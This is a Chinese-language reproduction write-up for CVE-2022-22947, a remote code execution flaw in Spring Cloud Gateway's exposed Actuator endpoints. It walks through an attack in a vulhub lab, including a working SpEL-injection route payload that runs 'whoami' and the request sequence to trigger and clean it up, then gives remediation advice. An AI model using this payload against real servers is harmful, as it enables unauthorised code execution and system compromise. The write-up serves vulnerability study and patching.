CVE-2022-22947
CVE-2022-22947,Spring Cloud Gateway远程代码执行漏洞
漏洞原理:
Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的网关,它旨在为微服务架构提供一种简单、有效、统一的API路由管理方式。当启用和暴露Gateway Actuator端点时,使用Spring Cloud Gateway的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求,从而远程执行任意代码。
漏洞复现:
步骤一:启动环境
本文使用的是vulhub环境
docker-compose up -d
步骤二:修改GET/actuator请求,确认actuator端口开启
步骤三:修改get请求,获取路由信息GET /actuator/gateway/routes/
当前只有路由index,该路由默认跳转到uri:http://example.com:80
步骤四:构造一个post请求包,POST /actuator/gateway/routes/test ,添加一个Content-type:application/json添加一个包含恶意SpEL表达式的路由
{
"id": "test",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",
"name": "cmd"
}
}
],
"uri": "http://example.com:80",
"order": 0
}
步骤五:刷新路由,POST /actuator/gateway/refresh,Content-Type:application/x-www-form-urlencoded
步骤六:获取路由信息GET /actuator/gateway/routes/,新增路由test成功
步骤七:构造get请求,查看当前路由信息,GET /actuator/gateway/routes/test,检索结果命令执行结果,当前用户为root
步骤八:删除前面构造的路由,DELETE /actuator/gateway/routes/test
修复建议:
更新版本
如果不需要Gateway actuator endpoint,可通过 management.endpoint.gateway.enabled: false 禁用
如果需要actuator,则应使用 Spring Security 对其进行防护,可参考:https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints.security
漏洞总结:
当启用和暴露Gateway Actuator端点时,使用Spring Cloud Gateway的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求,从而远程执行任意代码。
参考文章:
https://blog.csdn.net/xiaobai_20190815/article/details/124045768